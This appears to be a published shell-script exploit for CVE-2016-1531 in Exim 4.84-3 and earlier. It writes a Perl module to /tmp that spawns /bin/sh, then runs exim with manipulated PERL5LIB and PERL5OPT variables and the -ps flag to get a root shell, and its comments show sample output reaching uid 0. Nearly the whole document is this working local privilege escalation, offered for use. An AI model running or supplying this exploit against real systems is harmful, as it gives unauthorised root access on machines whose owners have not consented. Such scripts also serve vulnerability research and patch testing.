Exim 4.84-3 – Local Privilege Escalation
#!/bin/sh # CVE-2016-1531 exim <= 4.84-3 local root exploit # =============================================== # you can write files as root or force a perl module to # load by manipulating the perl environment and running # exim with the "perl_startup" arguement -ps. # # e.g. # [fantastic@localhost tmp]$ ./cve-2016-1531.sh # [ CVE-2016-1531 local root exploit # sh-4.3# id # uid=0(root) gid=1000(fantastic) groups=1000(fantastic) # # -- Hacker Fantastic echo [ CVE-2016-1531 local root exploit cat > /tmp/root.pm << EOF package root; use strict; use warnings; system("/bin/sh"); EOF PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim -ps |